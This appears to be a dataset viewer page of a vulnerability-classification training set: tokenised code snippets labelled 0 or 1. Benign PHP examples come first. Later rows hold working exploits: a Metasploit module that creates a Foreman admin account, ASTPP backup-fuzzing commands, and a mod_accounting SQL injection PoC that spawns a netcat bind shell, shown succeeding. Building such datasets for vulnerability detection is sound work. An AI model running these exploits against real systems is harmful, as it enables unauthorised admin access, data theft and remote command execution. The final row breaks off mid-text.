Dataset Viewer
instruction
stringclasses 1
value | input
stringlengths 184
34.1k
| output
stringclasses 2
values |
---|---|---|
please judge the source code for vulnerabilities. | <?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>セッション情報をもっていることを確認する<NEWLINE> if(isset($<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]){<NEWLINE> print(<double<underscore>quote>ようこそ<double<underscore>quote>. $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>] .<double<underscore>quote>さん<double<underscore>quote>);<NEWLINE> }<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> session<underscore>regenerate<underscore>id(true);<NEWLINE> <slash><slash>セッションを持たせてログインしていることが分かるようにする<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]=$<underscore>POST[<double<underscore>quote>id<double<underscore>quote>];<NEWLINE> <slash><slash>idがadmin(管理者)ならば権限情報をadminとする<NEWLINE> if($<underscore>POST[<double<underscore>quote>id<double<underscore>quote>]==<double<underscore>quote>admin<double<underscore>quote>){<NEWLINE> $<underscore>SESSION[<double<underscore>quote>auth<double<underscore>quote>]=<double<underscore>quote>admin<double<underscore>quote>;<NEWLINE> }else{<NEWLINE> <slash><slash>idがadmin(管理者)ではないなら権限情報をuserとする<NEWLINE> $<underscore>SESSION[<double<underscore>quote>auth<double<underscore>quote>]=<double<underscore>quote>user<double<underscore>quote>;<NEWLINE> }<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>権限がadminであることを確認する<NEWLINE> if($<underscore>SESSION[<double<underscore>quote>auth<double<underscore>quote>]==<double<underscore>quote>admin<double<underscore>quote>){<NEWLINE> $price=$<underscore>POST[<double<underscore>quote>price<double<underscore>quote>];<NEWLINE> <slash><slash>以下価格変更処理<NEWLINE> }<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> public function validate<underscore>is<underscore>logined<underscore>admin()<NEWLINE> {<NEWLINE> $session = $this<hyphen>>get<underscore>session();<NEWLINE> if (!(in<underscore>array((string)$this<hyphen>>get<underscore>page(), $this<hyphen>><underscore>non<underscore>login<underscore>pages))<NEWLINE> && ($this<hyphen>>is<underscore>not<underscore>login())) {<NEWLINE> $this<hyphen>>set<underscore>session($this<hyphen>>get<underscore>login(), false);<NEWLINE> $this<hyphen>>set<underscore>page(parent::PAGE<underscore>LOGIN);<NEWLINE> $this<hyphen>>set<underscore>content(parent::WARNING2, true);<NEWLINE> return $this;<NEWLINE> } elseif ($session[$this<hyphen>>get<underscore>login()][<double<underscore>quote>auth<double<underscore>quote>] !== <double<underscore>quote>admin<double<underscore>quote>) {<NEWLINE> $this<hyphen>>set<underscore>session($this<hyphen>>get<underscore>login(), false);<NEWLINE> $this<hyphen>>set<underscore>page(parent::PAGE<underscore>LOGIN);<NEWLINE> $this<hyphen>>set<underscore>content(parent::WARNING12, true);<NEWLINE> return $this;<NEWLINE> } else {<NEWLINE> $this<hyphen>>is<underscore>success();<NEWLINE> return true;<NEWLINE> }<NEWLINE> }<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> <slash><slash>リダイレクト関数を定義する<NEWLINE> function redirect($url) {<NEWLINE> <slash><slash>URLとして不適切な文字があればエラーとして処理を停止する<NEWLINE> if(preg<underscore>match(<single<underscore>quote><slash><backslash>r|<backslash>n<slash><single<underscore>quote>, $url)) {<NEWLINE> die(<single<underscore>quote>Bad URL<single<underscore>quote>);<NEWLINE> }<NEWLINE> header(<single<underscore>quote>Location: <single<underscore>quote> . $url);<NEWLINE> }<NEWLINE> <slash><slash>呼び出し例<NEWLINE> $url = isset($<underscore>GET[<single<underscore>quote>url<single<underscore>quote>]) ? $<underscore>GET[<single<underscore>quote>url<single<underscore>quote>] : <single<underscore>quote><single<underscore>quote>;<NEWLINE> redirect($url);<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE><slash><slash> 前処理略<NEWLINE><slash><slash> ヘッダ出力処理あり(脆弱性対策コード)<NEWLINE>header(<double<underscore>quote>X<hyphen>Frame<hyphen>Options: SAMEORIGIN<double<underscore>quote>);<NEWLINE><slash><slash> 後処理略<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE><slash><slash> 前処理略<NEWLINE><slash><slash> ヘッダ出力処理<NEWLINE>header(<double<underscore>quote>X<hyphen>Frame<hyphen>Options: SAMEORIGIN<double<underscore>quote>);<NEWLINE><slash><slash> 後処理略<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> $body = $<underscore>GET[<single<underscore>quote>message<single<underscore>quote>];<NEWLINE> $from = $<underscore>GET[<single<underscore>quote>from<single<underscore>quote>];<NEWLINE> if(preg<underscore>match(<single<underscore>quote><slash><backslash>r|<backslash>n<slash><single<underscore>quote>, $from)){<NEWLINE> die(<single<underscore>quote>Bad From Input<single<underscore>quote>);<NEWLINE> }<NEWLINE> mb<underscore>language(<single<underscore>quote>Japanese<single<underscore>quote>);<NEWLINE> mb<underscore>send<underscore>mail(<NEWLINE> <double<underscore>quote>hoge@hoge.net<double<underscore>quote>, <double<underscore>quote>問い合わせがありました。<double<underscore>quote>,<NEWLINE> <double<underscore>quote>以下の問い合わせがありましたので対応をお願いします<double<underscore>quote> . $body,<NEWLINE> <double<underscore>quote>From: <double<underscore>quote> . $from);<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | public function proc<underscore>send()<NEWLINE>{<NEWLINE> $param = $this<hyphen>>get<underscore>param();<NEWLINE> <slash><slash> メール送信処理<NEWLINE> $message=$param[self::MESSAGE];<NEWLINE> $message=wordwrap($message, 70, <double<underscore>quote><backslash>r<backslash>n<double<underscore>quote>);<NEWLINE> $to<underscore>address=self::TO<underscore>ADDRESS;<NEWLINE> $title=$param[self::SUBJECT];<NEWLINE> if(!preg<underscore>match(<single<underscore>quote><slash><backslash>r|<backslash>n<slash><single<underscore>quote>, $param[self::FROM])){<NEWLINE> $headers .= <single<underscore>quote>From:<single<underscore>quote>. $param[self::FROM];<NEWLINE> }<NEWLINE> <slash><slash>後略 | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE>$url=$<underscore>POST[<double<underscore>quote>url<double<underscore>quote>];<NEWLINE>if(preg<underscore>match(<single<underscore>quote><slash>^https?:<backslash><slash><backslash><slash>example.com<backslash><slash><slash><single<underscore>quote>,$url)) {<NEWLINE> header(<double<underscore>quote>Location:{$url}<double<underscore>quote>);<NEWLINE>}<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit4 < Msf::Auxiliary<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize<NEWLINE>super(<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>Foreman (Red Hat OpenStack<slash>Satellite) users<slash>create Mass Assignment<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits a mass assignment vulnerability in the <single<underscore>quote>create<single<underscore>quote><NEWLINE>action of <single<underscore>quote>users<single<underscore>quote> controller of Foreman and Red Hat OpenStack<slash>Satellite<NEWLINE>(Foreman 1.2.0<hyphen>RC1 and earlier) by creating an arbitrary administrator<NEWLINE>account. For this exploit to work, your account must have <single<underscore>quote>create<underscore>users<single<underscore>quote><NEWLINE>permission (e.g., Manager role).<NEWLINE>},<NEWLINE><single<underscore>quote>Author<single<underscore>quote> => <single<underscore>quote>Ramon de C Valle<single<underscore>quote>,<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>BID<single<underscore>quote>, <single<underscore>quote>60835<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>CVE<single<underscore>quote>, <single<underscore>quote>2013<hyphen>2113<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>CWE<single<underscore>quote>, <single<underscore>quote>915<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>OSVDB<single<underscore>quote>, <single<underscore>quote>94655<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>bugzilla.redhat.com<slash>show<underscore>bug.cgi?id=966804<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>http:<slash><slash>projects.theforeman.org<slash>issues<slash>2630<single<underscore>quote>]<NEWLINE>],<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <single<underscore>quote>Jun 6 2013<single<underscore>quote><NEWLINE>)<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>Opt::RPORT(443),<NEWLINE>OptBool.new(<single<underscore>quote>SSL<single<underscore>quote>, [true, <single<underscore>quote>Use SSL<single<underscore>quote>, true]),<NEWLINE>OptString.new(<single<underscore>quote>USERNAME<single<underscore>quote>, [true, <single<underscore>quote>Your username<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>PASSWORD<single<underscore>quote>, [true, <single<underscore>quote>Your password<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>NEWUSERNAME<single<underscore>quote>, [true, <single<underscore>quote>The username of the new admin account<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>NEWPASSWORD<single<underscore>quote>, [true, <single<underscore>quote>The password of the new admin account<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>NEWEMAIL<single<underscore>quote>, [true, <single<underscore>quote>The email of the new admin account<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [ true, <single<underscore>quote>The path to the application<single<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>]),<NEWLINE>], self.class<NEWLINE>)<NEWLINE>end<NEWLINE>def run<NEWLINE>print<underscore>status(<double<underscore>quote>Logging into<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>users<single<underscore>quote>, <single<underscore>quote>login<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => {<NEWLINE><single<underscore>quote>login[login]<single<underscore>quote> => datastore[<single<underscore>quote>USERNAME<single<underscore>quote>],<NEWLINE><single<underscore>quote>login[password]<single<underscore>quote> => datastore[<single<underscore>quote>PASSWORD<single<underscore>quote>]<NEWLINE>}<NEWLINE>)<NEWLINE>if res.nil?<NEWLINE>print<underscore>error(<single<underscore>quote>No response from remote host<single<underscore>quote>)<NEWLINE>return<NEWLINE>end<NEWLINE>if res.headers[<single<underscore>quote>Location<single<underscore>quote>] =~ <slash>users<backslash><slash>login$<slash><NEWLINE>print<underscore>error(<single<underscore>quote>Authentication failed<single<underscore>quote>)<NEWLINE>return<NEWLINE>else<NEWLINE>session = $1 if res.headers[<single<underscore>quote>Set<hyphen>Cookie<single<underscore>quote>] =~ <slash><underscore>session<underscore>id=([0<hyphen>9a<hyphen>f]*)<slash><NEWLINE>if session.nil?<NEWLINE>print<underscore>error(<single<underscore>quote>Failed to retrieve the current session id<single<underscore>quote>)<NEWLINE>return<NEWLINE>end<NEWLINE>end<NEWLINE>print<underscore>status(<single<underscore>quote>Retrieving the CSRF token for this session...<single<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <double<underscore>quote><underscore>session<underscore>id=<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri)<NEWLINE>)<NEWLINE>if res.nil?<NEWLINE>print<underscore>error(<single<underscore>quote>No response from remote host<single<underscore>quote>)<NEWLINE>return<NEWLINE>end<NEWLINE>if res.headers[<single<underscore>quote>Location<single<underscore>quote>] =~ <slash>users<backslash><slash>login$<slash><NEWLINE>print<underscore>error(<single<underscore>quote>Failed to retrieve the CSRF token<single<underscore>quote>)<NEWLINE>return<NEWLINE>else<NEWLINE>csrf<underscore>param = $1 if res.body =~ <slash><meta[ ]+content=<double<underscore>quote>(.*)<double<underscore>quote>[ ]+name=<double<underscore>quote>csrf<hyphen>param<double<underscore>quote>[ ]*<backslash><slash>?><slash>i<NEWLINE>csrf<underscore>token = $1 if res.body =~ <slash><meta[ ]+content=<double<underscore>quote>(.*)<double<underscore>quote>[ ]+name=<double<underscore>quote>csrf<hyphen>token<double<underscore>quote>[ ]*<backslash><slash>?><slash>i<NEWLINE>if csrf<underscore>param.nil? || csrf<underscore>token.nil?<NEWLINE>csrf<underscore>param = $1 if res.body =~ <slash><meta[ ]+name=<double<underscore>quote>csrf<hyphen>param<double<underscore>quote>[ ]+content=<double<underscore>quote>(.*)<double<underscore>quote>[ ]*<backslash><slash>?><slash>i<NEWLINE>csrf<underscore>token = $1 if res.body =~ <slash><meta[ ]+name=<double<underscore>quote>csrf<hyphen>token<double<underscore>quote>[ ]+content=<double<underscore>quote>(.*)<double<underscore>quote>[ ]*<backslash><slash>?><slash>i<NEWLINE>end<NEWLINE>if csrf<underscore>param.nil? || csrf<underscore>token.nil?<NEWLINE>print<underscore>error(<single<underscore>quote>Failed to retrieve the CSRF token<single<underscore>quote>)<NEWLINE>return<NEWLINE>end<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Sending create<hyphen>user request to<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <double<underscore>quote><underscore>session<underscore>id=<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>users<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => {<NEWLINE>csrf<underscore>param => csrf<underscore>token,<NEWLINE><single<underscore>quote>user[admin]<single<underscore>quote> => <single<underscore>quote>true<single<underscore>quote>,<NEWLINE><single<underscore>quote>user[auth<underscore>source<underscore>id]<single<underscore>quote> => <single<underscore>quote>1<single<underscore>quote>,<NEWLINE><single<underscore>quote>user[login]<single<underscore>quote> => datastore[<single<underscore>quote>NEWUSERNAME<single<underscore>quote>],<NEWLINE><single<underscore>quote>user[mail]<single<underscore>quote> => datastore[<single<underscore>quote>NEWEMAIL<single<underscore>quote>],<NEWLINE><single<underscore>quote>user[password]<single<underscore>quote> => datastore[<single<underscore>quote>NEWPASSWORD<single<underscore>quote>],<NEWLINE><single<underscore>quote>user[password<underscore>confirmation]<single<underscore>quote> => datastore[<single<underscore>quote>NEWPASSWORD<single<underscore>quote>]<NEWLINE>}<NEWLINE>)<NEWLINE>if res.nil?<NEWLINE>print<underscore>error(<single<underscore>quote>No response from remote host<single<underscore>quote>)<NEWLINE>return<NEWLINE>end<NEWLINE>if res.headers[<single<underscore>quote>Location<single<underscore>quote>] =~ <slash>users$<slash><NEWLINE>print<underscore>good(<single<underscore>quote>User created successfully<single<underscore>quote>)<NEWLINE>else<NEWLINE>print<underscore>error(<single<underscore>quote>Failed to create user<single<underscore>quote>)<NEWLINE>end<NEWLINE>end<NEWLINE>def target<underscore>url(*args)<NEWLINE>(ssl ? <single<underscore>quote>https<single<underscore>quote> : <single<underscore>quote>http<single<underscore>quote>) +<NEWLINE>if rport.to<underscore>i == 80 || rport.to<underscore>i == 443<NEWLINE><double<underscore>quote>:<slash><slash><NEWLINE>else<NEWLINE><double<underscore>quote>:<slash><slash><NEWLINE>end + normalize<underscore>uri(target<underscore>uri.path, *args)<NEWLINE>end<NEWLINE>end | 1 |
please judge the source code for vulnerabilities. | ASTPP 4.0.1 VoIP Billing Unauthenticated Predictable database backup download<NEWLINE>A Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers!<NEWLINE>It is available as an open source solution. It means without any investment, one can start his telephony<NEWLINE>business using ASTPP.<NEWLINE>ASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a<NEWLINE>comprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing<NEWLINE>solution to “A Smart TelePhony Platform”.<NEWLINE>The latest version of ASTPP is provisioned with some advanced functional modules which are designed<NEWLINE>to eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class<NEWLINE>4<slash>5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart<NEWLINE>Technology.<NEWLINE>When administrator performs a ASTPP backup in web interface (Configuration <slash> Database Restore <slash> Create)<NEWLINE>the file name follows a semi<hyphen>predictable pattern located in <slash>var<slash>www<slash>html<slash>astpp<slash>database<underscore>backup<slash>.<NEWLINE>The file name can be FUZZED for data exfiltration with the following pattern: astpp<underscore>20200110080136.sql.gz<NEWLINE>Pattern review:<NEWLINE><hyphen> astpp<underscore><NEWLINE><hyphen> year<NEWLINE><hyphen> month<NEWLINE><hyphen> day<NEWLINE><hyphen> 6 PIN digit<NEWLINE>Steps:<NEWLINE>Objective 1 : Generate your 6 PIN list<NEWLINE>Objective 2 : FUZZ the target URL<NEWLINE>Objective 3 : Download the mysqldump<NEWLINE>Objective 1: Generate your 6 PIN list<NEWLINE>POC: crunch 6 6 0123456789 > pin<underscore>fuzzer.list<NEWLINE>Objective 2 : FUZZ the target URL<NEWLINE>POC: wfuzz <hyphen><hyphen>hc 302 <hyphen>w pin<underscore>fuzzer.list <single<underscore>quote>http:<slash><slash>127.0.0.1<slash>database<underscore>backup<slash>astpp<underscore>20200110FUZZ.sql.gz<single<underscore>quote><NEWLINE>===================================================================<NEWLINE>ID Response Lines Word Chars Payload<NEWLINE>===================================================================<NEWLINE>000080137: 200 1135 L 6859 W 550239 Ch <double<underscore>quote>080136<double<underscore>quote><NEWLINE>Objective 3 : Download the mysqldump<NEWLINE>POC: wget http:<slash><slash>127.0.0.1<slash>database<underscore>backup<slash>astpp<underscore>20200110080136.sql.gz<NEWLINE>astpp<underscore>20200110080136.sql.gz 100%[===============================================================================>] 296,70K 1,05MB<slash>s ds 0,3 | 1 |
please judge the source code for vulnerabilities. | <hyphen> Affected Vendor: http:<slash><slash>sourceforge.net<slash>projects<slash>mod<hyphen>acct<slash>files<slash><NEWLINE><hyphen> Affected Software: mod<underscore>accounting<NEWLINE><hyphen> Affected Version: 0.5. Other earlier versions may be affected.<NEWLINE><hyphen> Issue type: Blind SQL injection<NEWLINE><hyphen> Release Date: 20 Sep 2013<NEWLINE><hyphen> Discovered by: Eldar <double<underscore>quote>Wireghoul<double<underscore>quote> Marcussen<NEWLINE><hyphen> CVE Identifier: CVE<hyphen>2013<hyphen>5697<NEWLINE><hyphen> Issue status: Abandoned software, no patch available<NEWLINE>Summary<NEWLINE>mod<underscore>accounting is a traffic accounting module for Apache 1.3.x which<NEWLINE>records traffic numbers in a database. Both MySQL and PostgreSQL database<NEWLINE>types are supported. It supports arbitrary database designs as traffic<NEWLINE>recording is performed via a user defined query in the Apache configuration<NEWLINE>using placeholders for received values. The following is an example<NEWLINE>configuration:<NEWLINE><VirtualHost <underscore>default<underscore>:*><NEWLINE>DocumentRoot <double<underscore>quote><slash>var<slash>www<slash><double<underscore>quote><NEWLINE>Options Indexes<NEWLINE>AccountingQueryFmt <double<underscore>quote>INSERT INTO accounting VALUES( current<underscore>time, %r, %s,<NEWLINE><single<underscore>quote>%u<single<underscore>quote>, <single<underscore>quote>%h<single<underscore>quote> );<double<underscore>quote><NEWLINE>AccountingDatabase accounting<NEWLINE>AccountingDatabaseDriver postgres<NEWLINE>AccountingDBHost localhost 5432<NEWLINE>AccountingLoginInfo acct acct<NEWLINE><<slash>VirtualHost><NEWLINE>As user supplied values are not sanitised before being used in the<NEWLINE>placeholder values it is possible for an attacker to supply malicous values<NEWLINE>to perform blind SQL injection.<NEWLINE>Description<NEWLINE>The SQL injection occurs due to a user supplied HTTP header being used in<NEWLINE>the query without sanitisation. The module uses a simple string<NEWLINE>concatination approach to modify the placeholders in the user defined query<NEWLINE>before sending it to the database. This code can be located in<NEWLINE>mod<underscore>accounting.c:<NEWLINE>409: <slash><slash> build the query string from the template<NEWLINE>410: while( ptr ) {<NEWLINE>411: char *next;<NEWLINE>412:<NEWLINE>413: next = strchr( ptr, <single<underscore>quote>%<single<underscore>quote> );<NEWLINE>414:<NEWLINE>415: if( next ) {<NEWLINE>416: char tmp[ 2 ];<NEWLINE>417:<NEWLINE>418: *next++ = <single<underscore>quote><backslash>0<single<underscore>quote>;<NEWLINE>419:<NEWLINE>420: switch( *next++ ) {<NEWLINE>421:<NEWLINE>422: case <single<underscore>quote>h<single<underscore>quote>:<NEWLINE>423: query = ap<underscore>pstrcat( p, query, ptr, cfg<hyphen>>ServerName ?<NEWLINE>cfg<hyphen>>ServerName : <double<underscore>quote><hyphen><double<underscore>quote>, NULL );<NEWLINE>424: break;<NEWLINE>425:<NEWLINE>426: case <single<underscore>quote>s<single<underscore>quote>:<NEWLINE>427: query = ap<underscore>pstrcat( p, query, ptr, sent, NULL );<NEWLINE>428: break;<NEWLINE>429:<NEWLINE>430: case <single<underscore>quote>r<single<underscore>quote>:<NEWLINE>431: query = ap<underscore>pstrcat( p, query, ptr, recvd, NULL );<NEWLINE>432: break;<NEWLINE>433:<NEWLINE>434: case <single<underscore>quote>u<single<underscore>quote>:<NEWLINE>435: query = ap<underscore>pstrcat( p, query, ptr, get<underscore>user( r ), NULL<NEWLINE>);<NEWLINE>436: break;<NEWLINE>437:<NEWLINE>438: default:<NEWLINE>439: tmp[0] = next[ <hyphen>1 ];<NEWLINE>440: tmp[1] = <single<underscore>quote><backslash>0<single<underscore>quote>;<NEWLINE>441:<NEWLINE>442: query = ap<underscore>pstrcat( p, query, ptr, tmp, NULL );<NEWLINE>443: break;<NEWLINE>444: }<NEWLINE>445:<NEWLINE>446: next[ <hyphen>2 ] = <single<underscore>quote>%<single<underscore>quote>;<NEWLINE>447:<NEWLINE>448: } else<NEWLINE>449: query = ap<underscore>pstrcat( p, query, ptr, NULL );<NEWLINE>450:<NEWLINE>451: ptr = next;<NEWLINE>452: }<NEWLINE>453:<NEWLINE>454: ( *DBDrivers[ cfg<hyphen>>DBDriver ].Query )( cfg, server, p, query );<NEWLINE>455:<NEWLINE>456: cfg<hyphen>>Received = cfg<hyphen>>Sent = 0;<NEWLINE>It is important to note that the database query takes place after the page<NEWLINE>has been served, hence there is no easy way to determine if a particular<NEWLINE>injection method was successful apart from using an out of band approach.<NEWLINE>However, as the injection occurs in an insert statement it is likely that<NEWLINE>the successful injection vector is one of about a handful of likely<NEWLINE>candidates.<NEWLINE>Impact<NEWLINE>An attacker is only limited by the capabilities of the database<NEWLINE>configuration and may be able to read, add, alter or delete data from your<NEWLINE>database(s), read or write arbitrary files or even execute commands on the<NEWLINE>server given a privileged database account.<NEWLINE>Proof of Concept<NEWLINE>root@bt:~<slash>sploit<hyphen>dev<NEWLINE>and error is required<NEWLINE>wont work<NEWLINE>use IO::Socket::INET;<NEWLINE>print <double<underscore>quote><NEWLINE>print <double<underscore>quote>| mod<underscore>accounting<slash>0.5 PoC exploit by <backslash>@Wireghoul |<backslash>n<double<underscore>quote>;<NEWLINE>print <double<underscore>quote>| www.justanotherhacker.com |<backslash>n<double<underscore>quote>;<NEWLINE>print <double<underscore>quote><NEWLINE>print <double<underscore>quote>[*] Enumerating blind injection vectors:<backslash>n<double<underscore>quote>;<NEWLINE>my @endings = (<double<underscore>quote><single<underscore>quote>));<double<underscore>quote>, <single<underscore>quote><double<underscore>quote>));<single<underscore>quote>, <double<underscore>quote>));<double<underscore>quote>, <double<underscore>quote><single<underscore>quote>);<double<underscore>quote>, <single<underscore>quote><double<underscore>quote>);<single<underscore>quote>, <double<underscore>quote>);<double<underscore>quote>, <double<underscore>quote><single<underscore>quote>;<double<underscore>quote>, <single<underscore>quote><double<underscore>quote>;<single<underscore>quote>,<double<underscore>quote>;<double<underscore>quote>);<NEWLINE>my $shell = <single<underscore>quote>nc <hyphen>lnp 4444 <hyphen>e <slash>bin<slash>sh<single<underscore>quote>;<NEWLINE>my $cnt = 0;<NEWLINE>my $content = <double<underscore>quote>CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS<NEWLINE><single<underscore>quote><slash>lib<slash>libc.so.6<single<underscore>quote>, <single<underscore>quote>system<single<underscore>quote> LANGUAGE <single<underscore>quote>C<single<underscore>quote> STRICT; SELECT system(<single<underscore>quote>$shell<single<underscore>quote>);<double<underscore>quote>;<NEWLINE>foreach $end (@endings) {<NEWLINE>$cnt++;<NEWLINE>my $sock = IO::Socket::INET<hyphen>>new(<double<underscore>quote>$ARGV[0]:$ARGV[1]<double<underscore>quote>) or die <double<underscore>quote>Unable to<NEWLINE>connect to $ARGV[0]:$ARGV[1]: $!<backslash>n<double<underscore>quote>;<NEWLINE>my $str = <double<underscore>quote>GET <slash> HTTP<slash>1.1<backslash>r<backslash>nHost: $ARGV[0]$cnt$end $content <hyphen><hyphen><NEWLINE><backslash>r<backslash>n<backslash>r<backslash>n<double<underscore>quote>;<NEWLINE><backslash>r<backslash>n<backslash>r<backslash>n<double<underscore>quote>;<NEWLINE>print <double<underscore>quote>[<hyphen>] Trying $end<backslash>n<double<underscore>quote>;<NEWLINE>print $sock $str;<NEWLINE>close ($sock);<NEWLINE>}<NEWLINE>print <double<underscore>quote>[*] Done, remote server should have executed $shell<backslash>n<double<underscore>quote>;<NEWLINE>Execution of PoC:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>root@bt:~<slash>sploit<hyphen>dev<NEWLINE>(UNKNOWN) [192.168.58.138] 4444 (?) : Connection refused<NEWLINE>root@bt:~<slash>sploit<hyphen>dev<NEWLINE>| mod<underscore>accounting<slash>0.5 PoC exploit by @Wireghoul |<NEWLINE>| www.justanotherhacker.com |<NEWLINE>[*] Enumerating blind injection vectors:<NEWLINE>[<hyphen>] Trying <single<underscore>quote>));<NEWLINE>[<hyphen>] Trying <double<underscore>quote>));<NEWLINE>[<hyphen>] Trying ));<NEWLINE>[<hyphen>] Trying <single<underscore>quote>);<NEWLINE>[<hyphen>] Trying <double<underscore>quote>);<NEWLINE>[<hyphen>] Trying );<NEWLINE>[<hyphen>] Trying <single<underscore>quote>;<NEWLINE>[<hyphen>] Trying <double<underscore>quote>;<NEWLINE>[<hyphen>] Trying ;<NEWLINE>[*] Done, remote server should have executed nc <hyphen>lnp 4444 <hyphen>e <slash>bin<slash>sh<NEWLINE>root@bt:~<slash>sploit<hyphen>dev<NEWLINE>pwd<NEWLINE><slash>var<slash>lib<slash>postgres<slash>data<slash>base<slash>17142<NEWLINE>id<NEWLINE>uid=101(postgres) gid=104(postgres) groups=104(postgres)<NEWLINE>hostname<NEWLINE>sarge<NEWLINE>^C<NEWLINE>Solution<NEWLINE>As the module is no longer supported, discontinue the use of this module.<NEWLINE>Response Timeline<NEWLINE><hyphen> 03<slash>09<slash>2013 <hyphen> Vendor notified<NEWLINE><hyphen> 03<slash>09<slash>2013 <hyphen> Vendor acknowledge vulnerability<NEWLINE><hyphen> 04<slash>09<slash>2013 <hyphen> Project download removed and website updated to reflect<NEWLINE>new status<NEWLINE><hyphen> 20<slash>09<slash>2013 <hyphen> Advisory released | 1 |
please judge the source code for vulnerabilities. | =begin<NEWLINE>Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability<NEWLINE>within an endpoint used during initial configuration of the licensing for<NEWLINE>the product. This endpoint is still available after the appliance has been<NEWLINE>fully configured.<NEWLINE>POST <slash>license<slash>records HTTP<slash>1.1<NEWLINE>Host: 192.168.1.11<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>26.0<NEWLINE>Accept: text<slash>html,application<slash>xhtml+xml,application<slash>xml;q=0.9,*<slash>*;q=0.8<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Accept<hyphen>Encoding: gzip, deflate<NEWLINE>X<hyphen>Requested<hyphen>With: XMLHttpRequest<NEWLINE>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded; charset=UTF<hyphen>8<NEWLINE>Referer: https:<slash><slash>192.168.1.11<slash>license<NEWLINE>Content<hyphen>Length: 15<NEWLINE>Connection: keep<hyphen>alive<NEWLINE>Pragma: no<hyphen>cache<NEWLINE>Cache<hyphen>Control: no<hyphen>cache<NEWLINE>sort=id&dir=ASC<NEWLINE>Both the <single<underscore>quote>sort<single<underscore>quote> and <single<underscore>quote>dir<single<underscore>quote> parameters are vulnerable.<NEWLINE>sqlmap identified the following injection points with a total of 1173<NEWLINE>HTTP(s) requests:<NEWLINE><hyphen><hyphen><hyphen><NEWLINE>Place: POST<NEWLINE>Parameter: sort<NEWLINE>Type: boolean<hyphen>based 